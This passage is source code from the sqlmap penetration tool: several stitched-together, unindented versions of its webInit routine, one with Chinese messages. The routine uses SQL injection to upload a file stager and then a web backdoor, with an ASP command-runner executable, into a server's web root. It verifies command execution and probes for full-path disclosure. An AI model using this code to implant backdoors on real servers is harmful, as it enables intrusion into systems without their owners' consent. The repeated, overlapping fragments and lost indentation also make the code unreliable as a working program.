warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
else:
directory = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl,
stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webApi)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = mkstemp()
os.fdopen(handle).close(
) # close low level handle (causing problems later)
with open(filename, "w+") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH,
"stager.%s_" % self.webApi))
_ = _.replace(
"WRITABLE_DIR",
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace(
"RUNCMD_EXE", _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ['asp', 'aspx', 'php', 'jsp']
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if kb.os == "Windows":
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH,
"backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
warned = set()
success = False
for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
if not all(
isinstance(item, basestring)
for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace(
"//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(
"//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(
directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(
directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(
docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(
r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
uriPath = uriPath.replace("//", "/").rstrip('/')
localPath = localPath.rstrip('/')
if not uriPath:
uriPath = '/'
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname,
conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'),
stagerName)
uplPage, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted" % localPath
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(
r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(
r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"",
uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(
os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'),
runcmdName)
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace(
"WRITABLE_DIR",
backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName,
backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName,
backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (
self.webBaseUrl.rstrip('/'), backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(
backdoorStream, backdoorName,
posixToNtSlashes(localPath)
if kb.os == "Windows" else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission."
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [y/N] "
getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName,
localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = WEB_API.ASP
else:
default = WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = sorted(getDirs())
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
success = False
for docRoot in arrayizeValue(kb.docRoot):
if success:
break
for directory in directories:
uriPath = ""
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager via "
infoMsg += "UNION technique"
logger.info(infoMsg)
handle, filename = mkstemp()
os.fdopen(handle).close() # close low level handle (causing problems latter)
with open(filename, "w+") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
f.write(utf8encode(_))
self.unionWriteFile(filename, self.webStagerFilePath, "text")
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
continue
else:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % localPath
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(oset(directories))
path = urlparse.urlparse(conf.url).path or '/'
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webApi))
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webApi == WEB_API.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == WEB_API.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName, directory)
else:
continue
self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def webInit(self):
"""
此方法用于在 web 服务器文档根目录中的可写远程目录中写入 web 后门 (代理)。
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_API, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP
message = u"Web服务器支持哪种Web应用程序语言?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("无效值，只允许使用数字")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("无效值，它必须介于1和%d之间" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "你是否希望sqlmap进一步尝试引发完整的路径泄露? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(
r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(
conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=",
conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(
value=value,
place=place,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(
r"(\A|;)(\w+)=[^;]*",
"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
